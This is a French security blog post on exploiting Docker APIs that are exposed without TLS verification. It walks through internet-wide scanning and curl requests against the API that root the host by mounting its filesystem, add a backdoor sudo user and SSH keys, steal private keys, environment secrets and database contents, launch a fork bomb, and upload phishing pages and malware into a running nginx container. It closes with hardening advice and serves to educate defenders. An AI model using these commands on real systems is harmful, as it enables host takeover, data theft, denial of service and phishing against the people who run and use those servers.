Services Blog English

Exploitation des apis Docker

| par vinz | securité docker devops

Exploitation des apis Docker non protégées

Exposer l’api docker sur internet sans protections revient à donner à n’importe qui un accès root sans identifications. Nous allons analyser comment des acteurs malveillants trouvent et “exploitent” les api docker pour exécuter des commandes en root sur l’hôte, backdoorer le système hôte, voler des données et des identifiants, héberger des pages de phishing ou des malwares, pivoter pour attaquer le réseau interne etc …

Comment trouver des apis docker

Il y a plusieurs techniques pour trouver des api docker ouvertes sur internet:

  • Shodan & zoomeye
  • masscan + nmap/cURL

Shodan et zoomeye

Un simple recherche sur Shodan ou Zoomeye permet de trouver plusieurs milliers d’api docker:

shodan

Masscan + nmap

On peut également scanner l’intégralité du web avec masscan (quelques heures), en cherchant les ports par défaut (2375,2376), puis vérifier avec nmap (-sV), ou un script nse

masscan 0.0.0.0/0 --exclude 255.255.255.255 --randomize-hosts -p2375 ----rate 500000  -oJ docker.json
jq -r '.[]|[.ip, .ports[].port]|join(":")' < dockerOPEN2.json  > openDOCKER2.txt

Il y aura plus de reésultats, mais tous ne seront pas des api dockers (on peut y trouver du ssh, du http etc..)

Il faut après utiliser nmap ou cURL:

Exemple avec nmap:

nmap -sV -p 2375,2376 192.168.75.215
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-28 01:37 UTC
Nmap scan report for 192.168.75.215
Host is up (0.0015s latency).

PORT     STATE  SERVICE VERSION
2375/tcp open   docker  Docker 19.03.13-ce (API 1.40)
2376/tcp closed docker
Service Info: OS: linux

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.72 second

Exemple avec cURL:

if 
  curl -sk 192.168.75.215:2375/images/json |\
  grep Containers > /dev/null  
then 
  echo ok 
fi

Exploitation

Il y a plusieurs façon d’exposer l’API docker:

  • en clair (http)
  • avec TLS mais sans vérification du certificat
  • avec TLS et avec vérification du certificat

En clair:

Le plus souvent exposé sur le port 2375, les communications se feront en claire et aucune authentification n’est requise, pour accéder a l’api. On peut donc directement utilisé la commande docker pour interagir avec l’api …

La commande pour exposer l’api docker en http sur le port 2375:

dockerd -H fd:// -H tcp://0.0.0.0:2375

Il est également possible de modifier “ExecStart” dans /lib/systemd/system/docker.service

...
ExecStart=dockerd -H fd:// -H tcp://0.0.0.0:2375
...

Il faut ensuite “reloader” les daemons et relancer le service docker

sudo systemctl daemon-reload
sudo systemctl restart docker

Exemple d’interaction coté client avec docker:

$ docker -H tcp://192.168.75.216:2375 images

CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS              PORTS     NAMES
58c1fa068e69   busybox   "sh"      6 hours ago   Up 5 hours             elegant_mcnulty

Exemple avec cURL et jq pour la lisibilité:

curl -s http://192.168.75.216:2375/containers/json | jq
[
  {
    "Id": "dcf734bc8be8080d6aecd67418cc9f3d2dd8131ee638240037c89ef17df78391",
    "Names": [
      "/naughty_mcnulty"
    ],
    "Image": "nginx",
    "ImageID": "sha256:ae2feff98a0cc5095d97c6c283dcd33090770c76d63877caa99aefbbe4343bdd",
    "Command": "/docker-entrypoint.sh nginx -g 'daemon off;'",
    "Created": 1608586974,
    "Ports": [
      {
        "PrivatePort": 80,
        "Type": "tcp"
      }
    ],
    "Labels": {
      "maintainer": "NGINX Docker Maintainers <docker-maint@nginx.com>"
    },
    "State": "running",
    "Status": "Up 21 seconds",
    "HostConfig": {
      "NetworkMode": "default"
    },
    "NetworkSettings": {
      "Networks": {
        "bridge": {
          "IPAMConfig": null,
          "Links": null,
          "Aliases": null,
          "NetworkID": "e7f7e820b5f51b108600e1d9c06f12747cfa51e90eb17fa7d29b10312db025e1",
          "EndpointID": "713a39ab1d40bc6f35242ddf2185d6eb38559589f3a76352527f1bfcfae19a0e",
          "Gateway": "172.17.0.1",
          "IPAddress": "172.17.0.3",
          "IPPrefixLen": 16,
          "IPv6Gateway": "",
          "GlobalIPv6Address": "",
          "GlobalIPv6PrefixLen": 0,
          "MacAddress": "02:42:ac:11:00:03",
          "DriverOpts": null
        }
      }
    },
    "Mounts": []
  }
]

Avec TLS mais sans –tlsverify

Avec le flag “–tls” docker utilisera un certificat mais ne le vérifira pas . Généralement exposé sur le port 2376, voici la commande pour lancer docker:

dockerd --tls --tlscacert=/root/docker/ca.pem \
 --tlscert=/root/docker/server-cert.pem \
 --tlskey=/root/docker/server-key.pem \
 -H fd:// -H=0.0.0.0:2376

Coté client si l’on possède le certificat (placé dans ~/.docker/) on peut utilisé directement docker

docker -H tcp://192.168.75.216:2376 --tls ps
CONTAINER ID   IMAGE     COMMAND                  CREATED          STATUS              PORTS     NAMES
dcf734bc8be8   nginx     "/docker-entrypoint.…"   53 minutes ago   Up About a minute   80/tcp    naughty_mcnulty
58c1fa068e69   busybox   "sh"                     6 hours ago      Up 5 hours

Si l’on ne possède pas le certificat on peut toujours utilisé cURL avec -k (–insecure)

curl -sk https://192.168.75.216/containers/json | jq

Qui retourne:

[
  {
    "Id": "dcf734bc8be8080d6aecd67418cc9f3d2dd8131ee638240037c89ef17df78391",
    "Names": [
    ...
  }
]

TLS avec –tlsverify

Dans ce cas le client doit avoir un certificat pour pouvoir communiquer avec l’api de docker, sans celui ci il ne sera pas possible de communiquer avec l’api que ce soit avec docker ou cURL

On lance donc dockerd avec:

dockerd --tls --tlsverify --tlscacert=/root/docker/ca.pem \
 --tlscert=/root/docker/server-cert.pem \
 --tlskey=/root/docker/server-key.pem \
 -H fd:// -H=0.0.0.0:2376

On essaye avec cURL, qui nous retourne une erreur:

curl -k https://192.168.75.216:2376/containers/json
curl: (56) OpenSSL SSL_read: error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate, errno 0

Les riques encourus

Il y plusieurs risques d’exposer sans “–tlsverify”:

  • Exécuter des commandes en root sur le server
  • Créer des containers dans un but malveillant (cryptominners, bot, scanner)
  • Récupérer de données (clés ssh, clés api, bdd, ENV …)
  • Scanner et/ou analyser le réseau interne
  • héberger des pages de phishing ou des malwares
  • Dos du serveur

Sans tls

Executer des commandes en root du serveur:

Pour “rooter” le serveur on va simplement lancer un container et grâce à l’option “-v” (volume) mounter “/” de l’hôte dans “/mnt” du container. Il suffit ensuite de chrooter dans /mnt et nous sommes root sur l’hôte. Libre à nous d’ajouter un utilisateur, ajouter sa clé ssh dans authorized_keys etc …

docker -H tcp://192.168.75.216:2375 run -v /:/mnt -it alpine
/ # chroot /mnt
[root@9c87413c5049 /]# 

Lancer des containers malvaillants

La plupart des containers malveillants vont miner du moneros.

Ex:

mining

Avec Tls

comme nous de pouvons pas utiliser la commande docker nous allons devoir utiliser cURL pour communiquer avec l’api dans le but de créer un container.

On va utiliser l’image “Alpine” et lancer la commande “sleep 1100”.

On créer notre container avec:

$ curl -H "Content-Type: application/json" -d \
  '{"Image": "alpine", 
    "Cmd": ["sleep", "1100"],
  }' -X POST http://192.168.75.216:2375/containers/create

Si l’image “Alpine” n’existe pas l’api renverra:

{"message":"No such image: alpine:latest"}

Dans ce cas il faut télécharger l’image avec:

curl -XPOST  "http://192.168.75.215:2375/images/create?fromImage=alpine:latest"

Atention: Il faut bien préciser “alpine**:latest**”, sinon toute les version de l’image alpine seront téléchargées.

On peut ensuite relancer la commande précédante.

Réponse de l’api:

{
  "Id":"603d4189433157790630886a0ce4e5a124b1cbaecc7180472c022acb4de360f2",
  "Warnings":[]
}

A ce stade le container est créé mais n’est pas encore up. Pour le démarrer on doit refaire une requête POST sur l’api:

curl -X POST http://192.168.75.216:2375/containers/603d4189433157/start 

Note: Le script nmap utilisé par la suite peut être trouver ici.

On peut vérifier si le container tourne bien:

nmap -p 2375 --script docker 192.168.75.216
Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-22 03:49 UTC
Nmap scan report for 192.168.75.216
Host is up (0.00099s latency).

PORT     STATE SERVICE
2375/tcp open  docker
| docker: 
|   Running_containers: 
|     IMAGE: alpine
|       -- COMMAND: sleep 1100
|_      -- UPTIME: 3 seconds

Nmap done: 1 IP address (1 host up) scanned in 0.43 seconds

Executer des comandes en root le server:

Sans firewall

Pour “rooter” le serveur on va créer un container avec sshd qui écoute sur le port 2222 de l’hôte, mounter “/” de l’hête dans /mnt du container, et on chroote ensuite dans /mnt. Pour la persistance on va également utiliser "HostConfig":{"RestartPolicy": {"Name":"always"}}.

$ curl -H "Content-Type: application/json" -d '{
  "Image": "alpine", 
   "Cmd":["sh", "-c", 
          "apk add openssh; ssh-keygen -A; mkdir /root/.ssh;
           echo root:test | chpasswd; echo \"ssh-rsa <L'id \" > 
           /root/.ssh/authorized_keys;  /usr/sbin/sshd -d"],
   "ExposedPorts": { "22/tcp":{}},
   "HostConfig":{
     "RestartPolicy": {"Name":"always"}, 
     "binds":["/:/mnt"], 
     "PortBindings": { "22/tcp": [{ "Hostip":"0.0.0.0", "HostPort": "2222" }] }
   } 
}' -X POST http://192.168.75.216:2375/containers/create

#response
{
  "Id":"98bac84706a512e95aba2c132e805ac82172ddd8ad4311486a1beb141b8de998",
  "Warnings":[]
}

$ curl -X POST http://192.168.75.216:2375/containers/98bac84706a/start

$ ssh -i private_key -p 2222 root@192.168.75.216
root@remote_docker:/ # chroot /mnt /usr/bin/bash
[root@remote_host]:/ 

Cela marche si il n’y a pas de firewall qui bloque les connections sortantes.

Avec un firewall qui bloque les connections sortantes

Dans ce cas ci, il y a deux options:

  • 1] Créer un utilisateur ‘sans HOME’ pour plus de discrétion
  • 2] Ajouter sa clé public ssh dans le authorized_keys d’un utilisateur existant.

Dans le premiers cas:

$ curl -H "Content-Type: application/json" -d \
'{
  "Image": "alpine",
  "Cmd":["sh", "-c", 
     "chroot /tmp useradd -M hacker; 
      chroot /tmp bash -c \"echo hacker:hacker | chpasswd\"; 
      echo \"hacker ALL=(ALL) ALL\" >> /tmp/etc/sudoers"],
  "HostConfig": {
    "AutoRemove": true, 
    "binds":["/:/tmp"]
  }
}' -X POST http://192.168.75.216:2375/containers/create

# Response
{"Id":"bcd6c17e5d36a878863be900bc3e1255e62ee163cf6ba7a558cf8966278f6cfd",
 "Warnings":[]}

# On Lance le container
curl -X POST http://192.168.75.216:2375/containers/bcd6c17e5d36a87886/start 

On rajoute "AutoRemove": true pour supprimer le container après qu’il est terminé (équivalent de docker run --rm)

On peut maintenant ce connecté en ssh avec l’utilisateur “hacker”.

ssh hacker@192.168.75.216
hacker@192.168.75.216's password: # hacker
[hacker@192.168.75.216 /]$ sudo su 
[sudo] password for hacker:  # hacker
[root@192.168.75.216 /]#

Dans le deuxième cas, il faudra d’abord créer un container pour lister les utilisateurs et ajouter sa clé publique dans authorzied_keys. Dans cet exemple pour éviter une étape on ajoutera notre clé publique à tous les utilisateurs qui possent un dossier .ssh. Il faudra ensuite lire les logs pour connaitre les utilisateurs:

curl -H "Content-Type: application/json" -d '{
  "Image": "alpine",
  "Cmd":["sh", "-c", 
  "chroot /tmp find / -path /proc -prune -false -o 
     -type d -name .ssh -exec echo \u007B\u007D \\; 
     -exec sh -c \"echo ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDVo/YsgADHpg5EH+6rQyK19pRIZetau1uDFqRajgMwW 
       >> {}/authorized_keys \" \\; "], 
  "HostConfig": {"binds":["/:/tmp"]}}' \
-X POST http://192.168.75.216:2375/containers/create

Après avoir lancé le container on lit les logs avec:

curl -s http://192.168.75.216:2375/containers/380c99cf1a7170bc2c4/logs?stderr=true \
--output - | cut -c9-
/root/.ssh
/home/user1/.ssh
/home/user2/.ssh

On doit utilisé “cut -c9-” car l’output est préfixé par 8 bytes:

  • Le premier pour indiquer le stream (1=stdout, 2=stderr)
  • Les 3 suivants sont des 0
  • Les 4 derniers indiques la taille du message
header := [8]byte{STREAM_TYPE, 0, 0, 0, SIZE1, SIZE2, SIZE3, SIZE4}

On peut maintenant se connecté sur l’hôte en ssh et sans mot de passe avec:

# si le serveur accepte les connections en root
ssh -i id_ed25519 root@192.168.75.216
# sinon 
ssh -i id_ed25519 user1@192.168.75.216
ssh -i id_ed25519 user2@192.168.75.216

Dans ce cas ci nous avons pas ajouté “AutoRemove : true”, il faut donc supprimer le container avec:

curl -X DELETE http://192.168.75.216:2375/containers/380c99cf1a7170bc?v=1

Vol de données

Dans cet exemple nous allons voler une clé privée ssh:

$ curl -H "Content-Type: application/json" -d '{"Image": "alpine", 
  "Cmd":["cat", "/tmp/home/user/.ssh/id_rsa"],
  "binds":["/:/tmp"]}' \
-X POST http://192.168.75.216:2375/containers/create
$ curl -X POST http://192.168.75.216:2375/containers/cad91464ec/start
$ curl http://192.168.75.216:2375/containers/cad91464ec/logs?stdout=true \
  --output - | cut -c9- > private_key
$ chmod 600 private_key
$ ssh -i private_key user@192.168.75.216
user@192.168.75.216

Les variable d’environment

Beaucoup de containers utilisent des variables d’environnement, parfois sans gravité si dévoilé, mais certaines peuvent contenir des informations sensible tel que des clés api, des mots de passe etc ..

Un exemple avec mysql et un serveur relay smtp.

# mysql
docker run --rm -d -p 3306:3306 -e "MYSQL_ROOT_PASSWORD=secretpassword" mariadb

# smtp relay
docker run -e MAIL_RELAY_HOST='smtp.gmail.com' -e MAIL_RELAY_PORT='587' \
 -e MAIL_RELAY_USER='user@gmail.com' -e MAIL_RELAY_PASS='thesecurepass' \
 tecnativa/postfix-relay

Dans ce scénario, un attaquant va pouvoir grâce à quelques requêtes GET accéder à ces variables d’environnement pourtant sensible:

avec nmap:

env

avec cURL il faut d’abbord recuperer l’id des containers:

curl -sk http://192.168.75.216:2375/containers/json | \
 jq -r ".[]|[.Image,.Id]"
[
  "tecnativa/postfix-relay",
  "4fd2b327e8c1c1e869bb16b34e43e4aded3fbfdfde8944f808c08c84cfebe277"
]
[
  "mariadb",
  "8d6410c2fcc9aad2c8a7804382a4ae2d69f77a01eea22e17eb6b4a018b02fb0d"
]

note: Cette requête ne listera que les containers qui sont up. Il faut ensuite faire une requête GET par container:

Pour postfix:

curl -sk http://192.168.75.216:2375/containers/4fd2b327e8c1c1/json | \
jq ".Config|.Env"
[
  "MAIL_RELAY_USER=user@gmail.com",
  "MAIL_RELAY_PASS=SecreT_PassworD",
  "MAIL_RELAY_HOST=smtp.gmail.com",
  "MAIL_RELAY_PORT=587",
  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "HOST=localhost",
  "DOMAIN=localdomain",
  "INET_PROTOCOLS=ipv4",
  "MAILNAME=localdomain",
  "MAIL_VIRTUAL_FORCE_TO=",
  "MAIL_VIRTUAL_ADDRESSES=",
  "MAIL_VIRTUAL_DEFAULT=",
  "MAIL_CANONICAL_DOMAINS=",
  "MAIL_NON_CANONICAL_PREFIX=noreply+",
  "MAIL_NON_CANONICAL_DEFAULT=",
  "MESSAGE_SIZE_LIMIT=52428800"
]

et pour mysql:

curl -sk http://192.168.75.216:2375/containers/8d6410c2fcc9aad2c8a78/json | \
jq ".Config|.Env"
[
  "MYSQL_ROOT_PASSWORD=secretpassword",
  "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "GOSU_VERSION=1.12",
  "GPG_KEYS=177F4010FE56CA3336300305F1656F24C74CD1D8",
  "MARIADB_MAJOR=10.5",
  "MARIADB_VERSION=1:10.5.8+maria~focal"
]

A partir de la, comme nous avons le mot de passe mysql on peut exécuter un “exec” sur le container pour dumper la/les database(s):

On commence par lister les databases:

curl -s -H "Content-Type: application/json"   -d '{
    "AttachStdout": true,
    "Tty": true,
    "Cmd": [ "mysql", "-uroot", "-psecretpassword","show databases;" ]
  }' -X POST "http://192.168.75.215:2375/containers/13a2054f5bda/exec"

La commande nous renvoie l’id du exec.

{"Id":"138c8343c0763f5008ae4610f334889bdb0c375087c90e221cdc999f08bc49b4"}

Le exec est créé mais n’a pas encore tourner. On le lance avec:

curl -s  -H "Content-Type: application/json"   -d '{                   
    "Detach": false,
    "Tty": true
  }' -X  POST "http://192.168.75.215:2375/exec/<EXEC ID>/start"
mysql: [Warning] Using a password on the command line interface can be insecure.
+--------------------+
| Database           |
+--------------------+
| Customers          |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

Libre a l’attaque de dumper les bases des données par la suite avec "Cmd": [ "mysqldump", "-uroot", "-psecretpassword","Customers" ].

Note: Contrairement aux logs l’output n’est pas préfixé.

Rendre inoperant le serveur

plusieurs moyens:

  • fork bomb
  • networks
  • disk space

Exemple avec une fork bomb

Dans ce cas on consommé un maximum de cpu et saturera la table des process.

curl -H "Content-Type: application/json" -d \
'{"Image": "busybox",             
  "Cmd":["sh", "-c", 
  "fb(){ while fb& do fb& done; }; fb"]}' \
-X POST http://192.168.75.215:2375/containers/create

Après avoir lancer le container, le serveur hôte deviendra inopérant au bout de quelques secondes.

ATENTION: Si le container à “–restart=always” et que le service dockerd est enable (et non pas sarter a la main), le seul moyen de reprendre la main sur le serveur sera de booter le serveur avec une live usb et de supprimer le container à la main en cherchant dans “/var/lib/docker” …

Scanner le reseau interne

Pour cela il faut utilisé “–net=host”, le container créé aura un accès a tout les interfaces du serveur hôte. On peut par la suite utilisé nmap, tcpdump etc ..

root@host:~ docker run -it alpine
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

Maintenant avec “–net=host”

docker run -it --net=host alpine
/ # ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: enp0s25: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc fq_codel state DOWN qlen 1000
    link/ether 3c:97:0e:47:36:88 brd ff:ff:ff:ff:ff:ff
3: wlp3s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP qlen 1000
    link/ether a0:88:b4:76:71:48 brd ff:ff:ff:ff:ff:ff
    inet 192.168.75.215/24 brd 192.168.75.255 scope global dynamic wlp3s0
       valid_lft 545sec preferred_lft 470sec
    inet6 fe80::ef7d:ce1d:923:b3e8/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN 
    link/ether 02:42:a4:e8:29:a0 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:a4ff:fee8:29a0/64 scope link 
       valid_lft forever preferred_lft forever

Pour pouvoir utiliser “–net=host” avec cURL il faut utilisé:

curl -H "Content-Type: application/json" -d '{
  "Image": "alpine", 
  "Cmd":["ip","a"],
  "HostConfig":{
    "NetworkMode":"host"
  }
}' -X POST http://192.168.75.215:2375/containers/create

Hébergement de phising et de malware

Nous avons deux options pour héberger du phishing ou des malwares:

  • uploader nos pages ou fichiers malveillants sur un nginx déjà existant
  • créer un container nginx (on peut également modifier la config pour le nom de domaine).

Uploader dans un container existant

Pour uploader un fichier ou dossier dans un container il faut d’abord faire une archive tar, qui seri ensuite uploadée et décompressée

The input stream must be a tar archive compressed with one of the following algorithms: identity (no compression), gzip, bzip2, or xz.

tree evil
evil
├── evil.exe
└── evil.html
tar -cvjSf evil.tar.bz2 evil

Voici le container nginx légitime de l’hôte (192.168.75.215:8000)

nginx

curl -sk "http://192.168.75.215:8080/evil/evil.html"
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.19.6</center>
</body>
</html>

404 rien n’a encore été uploader.

On upload donc notre archive tar avec une requête “PUT”, qui sera décompresser dans le path fournie dans la requête (ici /usr/share/nginx/html)

curl -X PUT -H "Content-Type: application/x-tar" \
 "http://192.168.75.215:2375/containers/50dd072f4125/archive?path=/usr/share/nginx/html" \
 --data-binary "@evil.tar.bz2"

Si il n’y a pas de réponse, l’archive à correctement été uploadée et décompressé:

curl -sk "http://192.168.75.215:8080/evil/evil.html"
<H1>Phinsing Page</h1>

Conclusion

On a donc vu qu’il était relativement facile de trouver et d’exploiter des api docker non protégé. Cela revient à donner un accès root sans identification à un attaquant. Entre l’installation de portes dérobées sur l’hôte, le vole de données dans les containers ou sur le serveur hôte, l’installation de containers malveillants, les possibilité de nuire sont grandes.

Il faut donc s’assurer que l’api docker ne soit pas exposée si il n’y a pas de raison valable de l’être , dans le cas contraire il faut s’assurer que dockerd soit appelé avec le flag --tlsverify, ce qui permettra d’assurer que seuls les détenteurs d’un certificat valide peuvent interagir avec l’api.

Ils nous font confiance

Contact

logo